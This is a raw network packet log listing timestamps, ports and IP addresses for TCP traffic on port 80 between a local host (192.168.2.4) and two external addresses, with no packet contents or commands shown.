Oct 30, 2024 12:37:02.334028959 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.334041119 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.334044933 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.334058046 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.334067106 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.334076881 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.334084034 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.334095955 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.334108114 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.334115028 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.334124088 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.334135056 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.334141016 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.334156036 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.334156036 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.334161043 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.334177017 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.334180117 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.334192991 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.334208965 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.334223032 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.334223032 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.334224939 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.334240913 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.334243059 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.334243059 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.334265947 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.334280968 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.334289074 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.334304094 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.334316969 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.334332943 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.334342957 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.334342957 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.334347963 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.334362030 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.334362984 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.334400892 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.334402084 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.334424019 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.334549904 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.334564924 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.334588051 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.334603071 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.334616899 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.334618092 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.334633112 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.334647894 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.334654093 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.334662914 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.334672928 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.334681034 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.334692955 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.334708929 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.334711075 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.334723949 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.334733963 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.334742069 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.334752083 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.334767103 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.334777117 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.334777117 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.334783077 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.334805965 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.334824085 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.334826946 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.334842920 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.334857941 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.334858894 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.334882975 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.334883928 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.334896088 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.334912062 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.334918976 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.334944010 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.334944010 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.334964991 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.334980011 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.334994078 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.335010052 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.335022926 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.335031986 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.335042000 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.335046053 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.335062981 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.335063934 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.335093021 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.335117102 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.337122917 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.337184906 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.337217093 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.337232113 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.337246895 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.337264061 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.337272882 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.337280035 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.337296009 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.337306976 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.337326050 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.337353945 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.337357998 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.337373018 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.337387085 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.337400913 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.337410927 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.337415934 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.337431908 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.337430954 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.337449074 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.337460041 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.337464094 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.337481022 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.337485075 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.337497950 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.337512016 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.337526083 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.337538004 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.337538004 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.337541103 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.337555885 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.337562084 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.337584972 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.337606907 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.337650061 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.337665081 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.337678909 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.337691069 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.337702036 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.337707996 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.337717056 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.337727070 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.337733984 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.337743998 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.337749958 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.337762117 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.337765932 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.337780952 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.337783098 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.337798119 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.337805986 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.337805986 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.337821007 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.337824106 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.337838888 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.337841034 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.337852955 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.337862968 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.337869883 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.337878942 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.337894917 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.337913036 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.337920904 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.337935925 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.337950945 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.337968111 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.337985992 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.338021994 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.338059902 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.338074923 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.338090897 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.338109016 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.338109970 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.338124990 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.338129044 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.338140011 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.338152885 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.338154078 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.338155985 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.338171959 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.338177919 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.338195086 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.338210106 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.338211060 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.338210106 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.338210106 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.338226080 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.338237047 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.338248014 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.338254929 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.338263988 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.338274002 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.338279963 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.338293076 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.338296890 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.338310003 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.338320017 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.338320017 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.338331938 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.338337898 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.338349104 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.338356972 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.338365078 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.338375092 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.338381052 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.338396072 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.338401079 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.338401079 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.338411093 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.338421106 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.338444948 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.338444948 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.338476896 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.338491917 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.338505983 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.338520050 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.338521004 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.338538885 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.338547945 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.338547945 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.338556051 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.338571072 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.338573933 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.338588953 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.338601112 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.338607073 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.338618994 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.338629961 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.338644981 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.338644981 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.338660002 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.338670015 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.338675022 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.338701963 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.338707924 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.338709116 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.338726997 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.338737011 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.338745117 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.338753939 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.338768005 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.338779926 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.338783026 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.338798046 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.338799000 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.338814020 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.338824034 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.338824034 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.338828087 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.338841915 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.338844061 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.338857889 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.338859081 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.338876963 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.338885069 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.338901997 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.338901997 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.338901997 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.338931084 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.338948011 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.339128971 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.339183092 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.339231014 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.339246035 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.339261055 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.339282990 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.339288950 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.339299917 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.339320898 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.339330912 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.339332104 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.339337111 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.339353085 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.339359045 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.339368105 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.339378119 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.339381933 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.339395046 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.339399099 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.339411020 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.339416027 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.339430094 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.339430094 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.339445114 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.339454889 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.339454889 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.339459896 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.339473963 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.339474916 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.339490891 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.339498043 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.339498043 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.339515924 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.339515924 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.339530945 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.339545965 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.339550972 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.339550972 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.339560986 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.339570045 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.339576960 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.339592934 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.339596987 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.339596987 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.339608908 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.339615107 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.339633942 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.339634895 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.339648008 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.339653015 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.339662075 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.339675903 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.339678049 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.339694977 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.339714050 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.339731932 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.340101004 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.340143919 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.340159893 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.340168953 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.340194941 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.340194941 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.340205908 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.340236902 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.340251923 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.340280056 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.340308905 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.414024115 CET	80	49758	185.215.113.206	192.168.2.4
Oct 30, 2024 12:37:02.414093971 CET	49758	80	192.168.2.4	185.215.113.206
Oct 30, 2024 12:37:02.488521099 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.488560915 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.488574982 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.488598108 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.488620043 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.488635063 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.488636017 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.488648891 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.488675117 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.488679886 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.488691092 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.488698006 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.488704920 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.488718987 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.488722086 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.488739014 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.488743067 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.488755941 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.488768101 CET	49757	80	192.168.2.4	185.215.113.16
Oct 30, 2024 12:37:02.488770962 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.488786936 CET	80	49757	185.215.113.16	192.168.2.4
Oct 30, 2024 12:37:02.488787889 CET	49757	80	192.168.2.4	185.215.113.16
